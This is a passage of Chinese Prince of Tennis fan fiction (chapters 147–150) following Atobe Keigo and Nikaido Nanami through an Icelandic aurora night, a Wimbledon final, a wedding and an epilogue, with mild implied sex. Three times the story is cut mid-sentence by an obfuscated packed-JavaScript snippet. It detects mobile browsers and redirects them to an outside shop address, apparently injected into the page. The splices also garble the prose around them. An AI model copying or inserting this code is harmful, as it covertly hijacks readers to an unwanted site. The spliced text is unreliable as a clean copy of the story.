司机将吉普车停在一处无人的雪地边,三人齐心协力将帐篷搭好,他便留下补给车,搭乘着另一辆车返航,视线范围内只余他们两人。 十月的冰岛,夜晚算不得太冷,但既然决定今晚要住帐篷,他们仍需生个火堆取暖。 “景吾,对你来说也是新奇的体验了吧。” 七海坐在折叠椅上扭头,不由得轻笑出声。 迹部景吾穿着一身黑色的冲锋衣戴着兜帽,兜帽下的表情算不得多好,他的眉头微蹙着,紫灰色的发丝从帽子的两边窜出来随着他的步伐轻晃,怀里抱着一捧木头。 一口气拿得太多了,顶上两根随时有滑落的危险,少年边走边尽力让怀中的木头不至于落地的样子,多少有些狼狈。 “二阶堂,你就坐在那里干看着,啊恩?”他佯怒。 “景吾,我不是你的女人吗,这点小活应该不用劳烦你的女人来帮忙吧?” 他十分轻易地就被她承认自己是他的女人这句话取悦到了。 “呵,这点木头,你以为本大爷是谁。” “迹部君,你捧木头的样子好帅,我已经拍下来了,到底要不要发到冰帝的群里给大家看呢~”七海晃了晃手机,笑得促狭。 “二阶堂,晚上你就死定了。”迹部景吾黑着脸,总算走到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13457786|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了她身边,将怀中的木头放到前面收拾好的石坑中。 她的脸又烧红了。“你也就只在那时候有本事,哼。” “那时候有本事还不够吗,二阶堂,啊恩?”他笑容玩味。 七海哼唧了几下,不敢再回怼,不然她怕她明天走不出帐篷。 视线再次转回天幕时,她惊呼出声。“景吾,你看,那是不是极光!” 夜幕才刚步入主场,远处已经出现了一抹绿。 “啊恩,看来连极光也沉醉在本大爷的美技下了。”他轻点了点眉心,一脸得意,七海抽搐着嘴角没有搭理他的自恋行为。 生火的时候又出了小插曲。 “景吾,你好逊,怎么连火柴都不会用,你家不是有壁炉吗?” 她眼睁睁看着他拿出火柴棍,第一次划拉时用力过猛,棍子从中间被折断,第二次用力太轻,又没能划出火花。 他的尴尬一闪而逝。“本大爷到家的时候火已经被生好了。” “难得有你不会的事,就让我来教你怎么点燃火柴吧。”七海笑眯眯道,再次从火柴盒里抽出一根火柴,划过粗糙面。 “哧拉”—— 昏暗的傍晚夜色中,亮起了一簇火苗,在风中疯狂跳跃舞动着,他们望着彼此的脸庞在跳动的火光下明暗闪烁。 宇宙是这一簇火苗,他和她都在其中。 ...... 今夜果然不辜负他们查到的KP值,当夜幕彻底降临时,极光也汹涌而现。 “啊啊啊啊啊!景吾!!快看!”七海扯着迹部景吾的胳膊疯狂跺脚。 身边的人难得被眼前的美景惊到失语。 漫天的繁星不吝啬自己的闪烁,猎户座清晰可见,在这样已经足够震撼的浩瀚星图下—— 盛大的荧绿混着湖蓝色的光带在漆黑夜幕上飘荡游移,绚丽的紫红色光影于浓绿之间交织穿梭,飞速流转着,像是银河舞动的裙摆落入人间。 Aurora. 那是世界尽头,语言无法形容的极尽梦幻神异的绚烂。 仰着头欣赏了好一会儿,他们才回到火堆边坐下。 “呐,景吾,你有没有听见什么奇怪的声音。” 她的耳畔似乎传来了极其微小的嘶嘶声和爆破声,七海四下张望了一番,却没能找到声源。 “二阶堂,那是极光造成的声音。” “啊,这个我查过,说是电荷聚集引起的。”七海立刻反应过来。 当北极光剧烈活动时,空气中的静电放电,就会产生这样的声音。 “原来,极光也会说话。” 或许,只要足够热烈,再微弱的声音也会被听见。 还没等迹部景吾回应什么,远处的地平线却发生了变化。 起初是边缘溢出的一丝丝红光,像是落日余晖沉没前的最后一秒。 霎那间,火光喷涌而出,跃动的火光带起云雾直冲而上,很快将天幕模糊地分割成翠绿与赤红。 火山也于此刻爆发。 穿越亿万光年而来的漫天繁星,在这片绚丽中闪耀,交相辉映,简直.......目眩神迷。 “好美......”除了美,她再说不出什么话,只觉得被这样梦幻到不似人间的绝景包围,时间与空间的尺度都不复存在,几欲窒息。 “景吾。”她轻念了一遍他的名字。 “啊恩?” “我突然发现,你的名字反过来不就是,吾景吗。” “私たちだけの景色。” 她想,此刻眼中的一切,是属于他们的景色。 他知道,独属于他的美景,就在他身边。 七海沉醉地望着空中爆发的绚烂极光带和远处的赤红山火,身边的人却在专注地凝望着她。 “以后我们每年来看一次,到老得不能动为止,啊恩?”耳侧,他的声音温柔满溢。 一辈子,太久了。她不是个相信誓言的人。 此刻的爱,少年时的心动,真的能延续百年吗。 一声轻声呢喃响起。 “迹部景吾,你会变心吗。” “二阶堂七海,我会用行动证明。”他知道她心底深处潜藏的不安全感。 七海又侧过头轻笑了一声:“其实变心也没关系,我只活在当下。” 只是,当她看向他四目交汇时,她才发现他看她看得如此专注。 极光下,他紫灰色的瞳孔格外明亮,瞳孔中倒映出她的脸和跳动的火光,万千星辰和宇宙都藏在他的眼中。 不知怎么地,她的脸蓦地一红。 两张脸就这样,像是磁铁的两极,一毫一厘,越贴越近。 他的鼻尖轻擦过她的鼻尖,有点痒。 他们望着彼此缓缓闭上了眼,双唇相接,一下又一下地轻啄。不满足于此,迹部景吾干脆地将她揽入怀中,加深了这个吻。 直到,两人都卧倒在软垫上。 帐篷外是呼啸的风声,柴火燃烧的噼啪声,极光的呓语,山火的蓬勃心跳,帐篷内,喘息与低吟交揉。 恒星穿越亿万光年才得以在这片世界的尽头与他们相遇, 就像他们穿越无数个时空,才得以遇到彼此。 148.第 148 章 五年后。 英国伦敦,温布尔登一号中央球场,男单总决赛即将开始。 炽热的阳光倾洒而下,深绿色的席位上座无虚席,七海在前排看台席位听到远处传来的讨论声。 “我记得这两个男单选手是旧相识。” “是啊,我看对国光的采访时候他提起过。四年前在日本举办的U17世界杯,他们一个是德国队领队,一个是日本队领队呢。” 四年前的日本东京U17世界杯,德国队于决赛击败失去幸村精市和不二周助的日本队,以三胜二败的成绩重夺冠军。 “这次的比赛应当无悬念了吧,世界杯之后国光已经拿了好几次大满贯,温网也拿到过一次了,景吾只拿了几次大师赛和巡回赛冠军。” “但是,景吾可是迹部家族的继承人,这几年有事业要忙,这次的温网赞助商不也有迹部财团,就是那个蓝色的品牌标志。能有精力打到决赛已经很厉害了,人人都夸他爱情事业网球,一项不耽误呢。” “不说这个了,男单决赛简直是日本人大乱斗。进了四分之一决赛的除了阿玛迪斯、莱因哈特和兰比尔,其他人都是日本国籍就离谱,凤凰,周助,赛场上这两个,还有个谁来着?” “和也啦,而且这还是精市没来的前提,不过原因嘛,你懂的。我还有个久远的八卦你们要听吗?” “什么?” “景吾的女朋友,他的教练,二阶堂七海,国光也曾经追求过她哦,难怪他至今都没有什么恋爱的消息。” “我听到的版本怎么是七海追求国光?再说,国光那样的性格不谈恋爱才正常吧,想象不出他谈恋爱的样子。” “谁是谁不重要了啦,总之,这场比赛无论谁赢,都是二阶堂教练赢,好羡慕她啊,天天和这些帅哥选手打交道。” “亲爱的,这句话你每次都说,虽然你说得确实没错。” ...... 这五年来,职业网球界堪称群星璀璨,各个国家队的实力选手在世界各地的ATP巡回赛上几乎轮流夺冠,被世人戏称为“ATP男单帅哥打工天团”。 德国队的手冢国光,博格,QP; 瑞士队的阿玛迪斯,兰比尔; 西班牙队的梅达诺雷,不二周助; 法国队的加缪,幸村精市; 美国队的莱因哈特,越前龙马; 以及起势凶猛的日本队——平等院凤凰,德川和也,迹部景吾,远山金太郎...... 他们在近两年稳稳占据了ATP排名的前二十,而这些人、这些队伍背后都有一个人的影子,她既是第一梯队四国这五年来的顾问,又是日本队的教练,还是NA职业网球俱乐部的主理人。 五年间她培养出的新星一颗又一颗攀上天际,也引领了新的一波网球风潮——非暴力技术流网球,顾名思义,不使用恶意追身球,更注重真正的网球技巧的网球。 为此,至少定期维护赛场的工作人员都非常感激,她大大减少了他们的工作量。也是因此,这些年伤病退役的选手逐渐变少,职业网球呈现出百花齐放的盛世。 种岛修二最终接受了在NA俱乐部当网球教练的工作,安心待在日本不用再受坐飞机的困扰,此刻,他为了这场比赛特意坐船赶到,坐在七海身边。 另有未能出线的几位旧友和冰帝的少年们围簇着她。 草地两端,身着温网限定的白色运动套装的手冢国光和迹部景吾正在进行赛前热身。 向日岳人戳了戳前排少女的肩膀,“七海,你干嘛不坐皇家包厢去?好威风诶,南次郎前辈也坐在那里。”以她现在的名气,早在受邀名单上了。 不远处,皇家包厢坐席上,各界名流,英国皇室成员,政客,名演员以及网球界知名人士齐聚一堂,越前南次郎也应邀坐去了那边。 “坐在那里你们就不能过来了呀,我才不要去呢,再说,过去不是打扰南次郎前辈和边上的法国女演员打情骂俏了。”七海无奈道。 冰帝的少年们如今也已大学毕业,除了向日岳人在毕业后暂时还没想好要做什么,芥川慈郎继承了自家的干洗连锁店,宍户亮在筹备开一家健身馆,日吉若在攻读古文专业的修士。 滝荻之介继承了花道家业,凤长太郎去中学当了音乐老师,桦地崇弘因为做事认真细致被留在了俱乐部做行政管理。 而忍足侑士继承了家里的医院,也和NA俱乐部有康复师培养输送方面的合作。 种岛修二俏皮问道:“七海,你们打算什么时候结婚?” 还没等七海回什么,坐在种岛边上的平等院臭着脸开口了。“呵,至少也得等这小子拿到大满贯再说吧。” 连大满贯都没有还配和她结婚? 关于平等院凤凰发生了一个小插曲。 七海回来半年多后便留在了英国,得知这一消息的平等院直接一个飞的打去伦敦,差点上演了一出强取豪夺戏码。 万幸,迹部景吾及时从巡回赛赶回来,和平等院凤凰在迹部城堡的室内网球场打了长达11小时的持久战,最终两人伤痕累累精疲力竭,被七海一顿臭骂。 当时—— 【“老子喜欢的女人,想夺走就夺走了!” “平等院,本大爷不可能让你把她带走!” “呵,那就和老子打一场比赛,让我看看你的意志有多坚定。” “正合我意,啊恩?”】 虽然胜负未决,平等院凤凰仍勉强认可了迹部景吾的意志力,回到日本职网协会,继续打比赛积攒他的积分。 七海随意道:“结婚什么的还不着急吧,我还有好多想做的事没做呢。” 结束了长达五年的四国顾问工作,她终于可以一心一意扑在日本职网和俱乐部发展上。 “比起这个,”七海颇有些遗憾地侧过头望向坐在自己身旁的棕发青年,“周助,听马尔斯说你有退役的打算了呀。” 不二周助在这四年间成功取得了三次大满贯赛事冠军,和品牌方的职业合约也正好到期,在那之后他便开始了全世界环游之旅,越前南次郎居然也随他去。 七海邀请他在NA俱乐部挂了个名,由于过于美型的外貌,与他相关的周边产品也极其紧俏,高奢广告代言邀请多得数不过来,如今的不二周助早已财富自由。 “嗯。网球的趣味我已经探索了一遍,接下来打算尝试一些新的东西了呐。” 七海化身人才招揽机器:“也好,如果之后打算回日本从事网球相关的工作,随时找我!” “一定。”不二笑眯眯回道。 “比赛要开始了!” 听到芥川慈郎这一句提示,终于,所有人将视线移向温布尔登的那片草地。 一场时隔七年之久的双部之战即将开始! 网前,两位旧友握手见礼。 “手冢,好久不见了,啊恩?” “啊,迹部。” “她已经结束了顾问工作。” “......” 对话因为一方的沉默不语直接突兀地结束。 然而,这场比赛的蹊跷之处远不止于此。 温网为五盘三胜制,前二盘,手冢国光对迹部景吾比分为2:0,即将进入赛点的前一刻,意外不期而至—— 原本阳光明媚的天空忽然阴沉下来,阴云密布。 一滴冰凉的雨珠砸落在网球场的草地上,渗入土壤中,随即,铺天盖地的大雨傾盆而下。 温布尔登赛场上,观众们纷纷撑起雨伞暂时离开赛场,工作人员眼疾手快地提着篷布向对场跑去,主裁判坐在高椅直接被推离草地。 而不知这场雨何时结束的两位选手,则共同步入了温网的休息室。 雨势越来越大,沛沛阵阵的雷声在低垂的天空间滚过久久不歇,远处有几道闪电像是浅蓝色的鞭子抽打着树梢。 “景吾!”七海顶着大雨跑到休息室门口,发丝打湿了好几绺。 迹部景吾听到门外人的呼唤,从休息室大步走出。 七海很清楚,他的状态并不好,不如说,糟糕。方才在赛场上,她看到他紧蹙着眉擦了许多次汗,他甚至,摔了一次拍子......他看起来压力太大了。 “景吾,你怎么了,你没事吗?”她环住他的腰抱紧了他。 迹部景吾难以自控地回想起了一些往事。 七年前的那场双部之战,如果不是他的手肘伤,那场比赛他恐怕打不过他。 几个月后的墨尔本U17世界杯表演赛,他站在半跪着的他面前,实力碾压他。 四年前日本东京举办的U17世界杯,他率领的日本队输给了他率领的德国队。 他分明向她承诺过不会再输掉比赛,可现在,只差一盘,他就要时隔七年第三次败给他,还是在英国,伦敦,温布尔登,他的童年故土。 迹部景吾的沉默不语加剧了她心中的不安。 “Keigo, what’s wrong with you ?”七海急得说起了英文。 “小七。”他终于回过神来,用力回抱住她。 “别着急,就像往常一样发挥出你的实力,嗯?”她一下下轻抚着他的背,柔声安慰着。 这些年,家族的事务说对他的网球训练毫无影响是假话,一天只有24小时,为保证 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13473333|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 休息,他的训练时间少于大部分职业选手。 万幸的是,与他对练的人是她。 他们从一开始便达成了共识——胜利,他们徐徐图之,可后来居上,并不急于一时。 “小七,对不起。”他的声音艰涩。 七海于他说出这句道歉的瞬间惊惶失色,迹部景吾他何时会说对不起这样的话?她不相信他会就此放弃! 她知道这一路他走得有多不容易,家族的工作,网球的训练,他要做的事远比他人多。 这四年来,迹部景吾早已习惯了看着他的伙伴和对手们一点点超越他,ATP积分榜上一个接一个人将他的排名压下去。 他的每一天都活在重压中,可他从未后悔过自己选择的路。 “迹部景吾,不许对我道歉!我是不会和你说输了也没关系这种话的,现在我是你的教练,你只有赢这一条路!”她的面色一转冷厉。 七海紧盯着他一字一句: “Keigo, you will be the king of grass. I’m pretty sure about that.” “这里是日不落帝国,你是我心中的太阳,永远不会坠落,听到了吗?” “去赢,别在意对手是谁。我会一直看着你,永远只看着你。” “啊恩,本大爷不会输。” ----------------------- 大雨渐歇,比赛继续。 绿草地上,前两盘状态糟糕的迹部景吾不知发生了什么,一转颓势,每一球审时度势,变得极其冷静、理性。 比分就这样,于悄无声息间一点点被拉回。 赛场角落的计分大屏上,K. Atobe后sets下数字逐渐从0变成1,再变成2。每变换一次数字,赛场上就响起一次雷鸣般的掌声。 2-2平!绝地反击!!! 进入决胜盘! 两道白色身影在这片神圣草地上一次次激战!紧绷的肌肉,暴起的青筋,他们的每一球都像是人生打出的最后一球。 他们渴望胜利,像是在沙漠中跋涉多日,濒临渴死的人渴望水那样渴望胜利。 他们渴望胜利,像是身处真空中,即将窒息的人渴望空气那样渴望胜利。 1-1。 3-3。 5-5。 进入抢七局,进入持久战。 斜阳渐渐没入地平线,赛场上的天色渐暗,似乎要将最后一丝光芒也苛刻地掠夺干净,裁判却并未喊停。 这场旷日持久的对决,仿佛永无止境。每当其中一人领先一分,另一人必当拼命拿下下一分,比分不断地拉扯。 身体力量急剧透支,此刻的两人已力透纸薄,哪怕是最平庸的选手也可一击击溃;但,他们又强大不屈到令所有人肃然起敬。 白色的polo衫和短裤早已因为一次次在草地上摔倒爬起而染上棕色的脏污,上衣被汗水浸透,折射出夜色的深邃。膝盖,肩膀,每一次挥拍都叫嚣着超负荷使用导致的疼痛。 不知打了多久,观众紧张的心弦一次次被拉紧,他们和赛场上的两人同样疲惫不堪,即将到达意志力的极限。 直到,看似平凡的一球落地—— 七海像是突然失去了听觉。 视线中只能看到迹部景吾躺在地上,握紧拳头,张嘴似乎在大喊着什么。 他一骨碌从草地上爬起,在快速与对手行礼后,便朝着她的方向狂奔而来,他直接攀上观众席,送上一个使她几欲窒息的拥抱和一个热烈的吻。 消弭的声音逐渐回归,她听到了身后伙伴们的激动呐喊声,也听到了,赛场上空振聋发聩的播报—— “The runner-up,Kunimitsu Tezuka!” “And the Wimbledon gentlemen’s singles champion for 2010——” “Keigo Atobe!!!” 迹部景吾他赶上来了!!! 温布尔登男子单打大满贯得主——迹部景吾!!!! “景吾,我相信你能做到,我就知道你能做到。”七海凝视着眼前浑身脏污却无比耀眼的人,泪流满面。 “小七,本大爷先去领奖,我们再一起回家。” 迹部景吾站在温网中央赛场的草地上,傲然举起属于他的温网大满贯挑战者奖杯,无数闪光灯不停地闪烁,全世界的目光聚焦于此。 他是赛场中心永不坠落的太阳,是她心中永远闪耀着温暖的日光。 149.第 149 章 迹部景吾做了一个可怕的梦,他梦见她死了。 夕阳西斜,将整片镰仓海岸笼罩在一片朦胧的橘调之中。他和那两个人赶到海边时,她被平等院凤凰打横抱着,一步步向着岸边的救护车走去,她闭着眼,了无生息。 “小七!”他于梦中惊醒,身边酣睡的人被他的痛呼打断睡意,皱着眉揉着惺忪的睡眼醒来。 “景吾,怎么了,做噩梦了?”七海呆愣愣地看向枕侧的人,他的脸色好难看。 “小七,我们明天去登记结婚。”她被他抱得太紧,几乎要喘不过气来了。 “景吾,怎么这么突然?你抱得太紧了,先松开我......”七海双唇微张,完全没搞懂状况。 “本大爷做梦梦见你死了。”迹部景吾罕见地沉默了几秒,这才面色冷厉地道出实情。 七海噗嗤一笑:“我还以为是什么呢,我现在活得好好的呀,你知道吗,梦和现实是相反的。” 只是,很快,她就笑不出来了。 “我梦见你死在了镰仓的海边,夕阳,抱着你的......的人是——” 不等他说完,七海就轻颤着声接上了他的话:“平等院凤凰?” 这个名字说出来的瞬间,两人在夜色中四目相对,皆是骇然至极的表情——他们做了一样的梦,看起来,她比他更早就做了这个梦。 迹部景吾狠狠倒吸了一口凉气,本来已松开怀中的人,再次狠狠地将她揉进自己的胸膛。 “二阶堂,本大爷不会让你死的,更不会让你和其他人在一起。” “和我结婚吧,啊恩?别再让我担惊受怕。”迹部景吾如今已经把示弱本领学了个十成十,此刻,他的声音在黑暗中听起来低哑又脆弱。 “......好。”七海惊诧地发现自己居然没有斟酌权衡多久就同意了。 或许是这几年的朝夕相处,逐渐培养起了信任,他的一举一动,早已在无形中把她对婚姻的恐惧消磨得不剩几何。 “二阶堂,你说什么?”枕边人难得愣住了。 七海抽了抽嘴角,“我说好。” “......不,现在这样的求婚太不正式了,二阶堂,你就当没听到,本大爷明天重来一次,啊恩?” “等结婚以后本大爷就不能喊你二阶堂了。” “迹部七海,真是个好名字。” “哈哈哈哈哈哈哈!胜者果然只会是本大爷!” 七海面无表情地看着夜色下按着眉心不断自言自语,脸色变化得精彩纷呈,但总体来说处于狂喜状态的迹部景吾,认真考虑起要不要给他来一记神降,让他冷静一下。 “随便你啦,不要太夸张就行,我要继续睡觉了。”七海作势就要躺下。 “都答应本大爷的求婚了,还想睡,啊恩?”迹部景吾笑容玩味。 七海马上反应过来他的言外之意:“晚上睡前已经来过一次了,景吾,你......嗯!”还没等她把话说完,他就已开始进攻。 ...... 被折腾了一夜,第二天的结婚登记成功泡汤。 “迹部景吾,你这个混蛋,我今天还要上班......”七海无力地锤了一下迹部的胸肌,被一路抱到餐厅的椅子上就餐,站在一旁的女仆和管家早已见怪不怪。 “持久战”,这些年她真切地从另一个角度领会到了这个词的可怕,他的力气简直无穷无尽,每次结束时她都累得沉睡过去,他却能在第二天精神抖擞。 “俱乐部不是有大和和种岛看着,啊恩?协会有平等院在,二阶堂,没了你世界照样转。”迹部景吾挑了挑眉,提到最后那个名字时脸色又臭了几分。 “萨基尔,把山下叫过来,本大爷要他在一个月内给出一份婚礼方案。”迹部景吾将手上分切好的鱼排极其自然地与七海面前的餐盘交换,边嘱咐道。 “是,景吾少爷。” 七海愣了愣:“一个月,会不会有点太为难山下了。” “呵,二阶堂,你知道本大爷给他发的工资有多少吗,啊恩?他说不出一个不字。”他轻点着眼下的泪痣,笑得轻傲。 “二阶堂,本大爷会给你一个最完美的婚礼。” 他要昭告天下,他的妻子是她。 ------------------------ 三个月后。 英国,伦敦,迹部家城堡。 化妆间,七海被一群服装师、化妆师、美甲师、发型师、珠宝设计师......甚至还有心理咨询师围着。 脸上的妆化了两个小时才将将化完,手上的指甲镶嵌着的亦是货真价实的宝石,胸口镶嵌着皇家蓝宝石和钻石的项链在灯光的照射下几乎要闪瞎她的眼,身上的婚纱奢华繁复之至,大约有几十斤重..... 七海已经彻底麻木了,坐在椅子上,任由这群女人施为。 “迹部太太,您的皮肤可真好啊!”化妆师不知道第多少次拍马屁。 “小七海,妈妈都舍不得让你和景吾结婚了。”迹部瑛子第不知道多少次感叹。 “小七,要不我们不结婚了,爸爸妈妈养你一辈子。”二阶堂美穗泪眼朦胧地附和道。 她们都是女人,虽然很高兴自家女儿/自己认定的准儿媳能与心爱的人携手与共,却也知道,女人一旦结婚,终究会失去一部分自由。 站在一旁的心理咨询师听着这些话急得满头大汗,她被那位多金雇主留在这里,就是为了防止这种情况出现。只是,这两位夫人又都是新娘的母亲,她并无立场反驳。 “两位母亲,你们和她灌输什么思想呢,啊恩?婚姻届都签了,她早就是本大爷的妻子了。”迹部景吾及时出现在门口,面色不虞。 他已换上了一身G&H高定线的英式塔式多黑西服,修身挺廓的剪裁勾勒出他挺拔的身材,胸口的红玫瑰襟花娇艳欲滴,是她记忆中嚣张自信的他应有的模样。 “迹部景吾,我不想结婚了。”七海见到害她如此辛苦的人出现,没给好脸色看。 两位夫人并其他闲杂人等十分有默契地趁机溜出了房间,给这对小夫妻婚礼前最后一点私下相处的时间。 “迹部七海,你再说一遍刚才说的话?”迹部景吾大踏步走到她面前,蓝灰色的瞳孔霎时间幽暗了几分。 七海委屈地瘪了瘪嘴:“可是结婚真的好累啊......”从早上折腾到现在,虽然她也没忙活什么,却总有种疲惫感。 尽管她也知道,这场婚礼更多地是结给那些上流人士看,被赋予的商业价值远大于婚礼本身,不可能小办。 “小七,坚持一下,我待会儿要先走了。仪式结束本大爷给你个惊喜,啊恩?”他耐心安抚道,俯下身在她已经涂了唇彩的莹润唇瓣上亲了口。 “景吾,我现在很难相信你说的惊喜。”七海听到惊喜这两个字就忍不住抽搐嘴角。 决定登记结婚的第三天,迹部财团名下所有高奢商场的大屏便换成了他们两个要结婚的甜蜜告示,所有迹部家投资或是合作的商品都开展了打折庆祝活动。 这不算什么,正式登记结婚当天,从她走出那间公寓开始,就有人给她送上祝福和被细心地拔去尖刺的玫瑰。 都是他们的熟人,冰帝,青学,立海大,四天宝寺......还有平等院,种岛,大和以及其他留在日本职网和NA俱乐部的青年们。 这仍不算什么,两人领到婚姻届证明后,多位知名退役或现役职业网球选手以及职网教练均在社交媒体上送上祝福。 越前南次郎,三船入道,雷特鲁,欧诺基伊哈,博格,QP,阿玛迪斯,兰比尔,加缪,莱因哈特,梅达诺雷,不二周助,越前龙马...... 这甚至依然不算什么,接下来的三个月,每天七海都被迫面对迹部景吾送出的惊喜—— 有时,是清晨放在床头简简单单的一枝剪去尖刺的带露玫瑰,虽然事后她才得知,那枝玫瑰居然是他自己种的; 有时,是突然带着她坐直升飞机跑到不知名海岛上去吃一顿豪华海鲜大餐; 有时,是月色下的钢琴独奏配情歌独唱; 有时,是一些不可描述的花样。 她随口的一句话,他永远一一实现。层出不穷的惊喜似乎永远没有灵感枯竭的时候,令她哭笑不得,令她失控,也令她感动落泪。 而今天,他们结婚宣誓的地点,居然是那个通常只有英国皇室成员才有资格征用的威斯敏特斯大教堂。 迹部景吾先行抵达教堂,轿车载着七海和二阶堂悠人从温布尔登一路向伦敦中心驶去,一路上,空中玫瑰花雨散落不停,引得路人阵阵惊呼。 教堂上空,数架喷射飞机不断地飞旋着,将两个人的名字一遍遍用红色的气雾环绕于爱心中,低空中,无人机组成的玫瑰一朵朵绽放,处处布置尽显奢华与张扬。 威斯敏特斯大教堂内,巨大的拱顶高高耸立,顶部的彩色玻璃花窗将外界的阳光投射进来,在地面和墙壁上折射出斑斓绚丽的光影。 唱诗班肃穆的歌声在穹顶上空环绕盘旋,她于万众瞩目中,被父亲搀扶着一步步沿着红毯走向他。 “亲爱的朋友们,我们聚集在这里,在上帝和众亲友的见证下,将这位男士和这位女士结为神圣的婚姻伴侣......”主教宣读着冗长的婚礼誓词,七海听得无聊透顶。 手突然被包裹住了,手心被他有一下没一下地轻刮着,像是在安抚她。余光瞥过去,迹部景吾看她的眼神简直宠溺到能拉出丝......她忽地安定下来。 宣誓仪式有条不紊地进行着。 “......现在,这两位即将步入婚姻殿堂的人来到我们面前。如果有人反对他们的结合,请他现在就说出来,否则就永远保持沉默。” 众人只等着这个环节过去,一片寂静中,突兀地响起了一道声音。 “阿啦啦,既然都没人反对,那我反对。” 啊?谁胆子这么大?这道声音怎么还这么熟悉......< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13473334|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>七海瞬间瞪大了眼,转过头去,站在教堂门口同样西装革履的青年,那头墨绿色的短发,脸上挂着的漫不经心的痞笑,以及手上标志性的橙子—— “越前龙雅,你好像不在本大爷的邀请名单上,啊恩?”迹部景吾面色立时阴沉下来。 “哥哥?”坐在宾客席中的越前龙马目瞪口呆,这个家伙什么时候对二阶堂学姐......?! 越前龙马旁边的平等院凤凰只臭着脸冷嗤了一声,许多年前墨尔本的海边,他就注意到了沙滩上他的举动,看出了他的觊觎之心。 他迈着轻快的步伐走到了她身边,笑问:“神様,和这个家伙在一起,你幸福吗?” 透过头纱,他的身影朦胧,七海的回答却很坚定:“越前君,我很幸福。” “......是吗,那我就放心了呐。”越前龙雅轻笑一声,抬起她的左手,将橙子放入她的掌心。 “和你身边那个男人分享吧,我走了。” 他又凑到主教面前,“主教大人,刚才我是开玩笑的,反对收回~” 这位不速之客似一阵风一般,来得快,去得也快。 很快,背影消失在教堂门口,徒留满地震惊的宾客,面色自若的主教,怔愣原地的新娘以及脸黑如碳的新郎。 “迹部七海,记住你现在的名字,你可不叫越前七海,啊恩?”迹部景吾咬牙切齿地威胁道。 七海无奈:“我知道,主教大人,请继续吧。” ...... “Keigo Atobe,根据上帝神圣的旨意,你是否愿与这名女子缔结婚姻关系,共同生活?有生之年,你是否会爱他、安慰他、尊重他、保护他,不论健康还是疾苦,是否愿意舍弃一切,永远对他忠诚?” 迹部景吾回答得毫不犹豫:“I will.” “Nanami Nikaido,根据上帝神圣的旨意,你是否愿与这名男子缔结婚姻关系,共同生活?有生之年,你是否会爱他、安慰他、尊重他、保护他,不论健康还是疾苦,是否愿意舍弃一切,永远对他忠诚?” 她沉默了两秒,他的心倏地收紧了,迹部景吾转过头才发现,她在默默地盯着他看。 “I will.” 如果是他,她选择试着相信一次。 他为她戴上戒指,揭开头纱,在她的唇上印下一个炽热而缱绻的吻。 誓词结束,众人如潮水般涌去教堂外的另一处宴会厅参加这场世纪婚礼的宴席,七海也趁机换上了一套更为轻便的缎面礼服。 只是,当迹海两人相携而出时却发现教堂门口有些嘈杂。 门口的草坪上停着一架直升飞机,旋翼高速转动,掀起的气流卷起满地风沙草叶,七海下意识眯起眼。 “这架直升飞机是怎么回事?”她的声音很大,却依旧被轰鸣声搅碎。 迹部景吾不由分说地拎着她走到直升飞机前,拉开舱门,在众目睽睽下向她伸出手—— “小七,宴会无趣,不如跟本大爷私奔,啊恩?” 他的西服和发丝被气流吹得凌乱,笑容却越发嚣张。 七海缓缓勾起唇角,将手放在他的手掌上:“乐意之至。” 和他在一起,无论去哪,未来亦无可惧。 --------------------- 五年后,温网赛后采访。 摄像机调整到位,按下录像键,坐在单人沙发上的主持人开始了他的提问: “景吾,十年前你在温网中央赛场战胜了国光,对你来说这应该是一场意义非凡的比赛吧?” “那是本大爷第一次真正地打赢他。” “现在你被大家称为the king of grass草地之王,包揽了温网这十年来所有的大满贯,又建立了自己的网球日不落商业帝国。人人都说网球界迎来了迹部纪元,你觉得使你如此成功的秘诀是什么呢?” “你们哪个媒体的,怎么总是问这么无聊的问题,啊恩?”迹部景吾皱眉。 “就是,你们是哪个媒体的,这个问题的答案不是显而易见吗,啊恩?”坐在两人中间的女童撅起嘴不满道。 “迹部里奈,不要学你爸爸的口癖。”七海递过去一个威胁的眼神,女童立马做出一副乖巧的姿态,端坐闭嘴。 七海心下无奈,这孩子到底是随了谁?臭屁得要死还过分聪明......呃,好像答案也显而易见。 迹部景吾揉了揉自家女儿的头,旋即松开眉头,回答了记者的问题。 “因为有一个人,她一直看着我。” 他侧过头,沙发上,迹部景吾与七海相视而笑。 Love is the enduring gaze into your eyes as you look into mine. 爱是长久凝望着你看着我的眼睛。 . . 迹海线——The end. 150.第 150 章 手冢国光做了个梦。 他梦见她回来了,却是为了另一个人而来。 他梦见自己在温布尔登赛场上输给了迹部景吾。 他梦见一场大雨打断了比赛,她追到了休息室,喊出的却不是他的名字,而是那个人的名字。 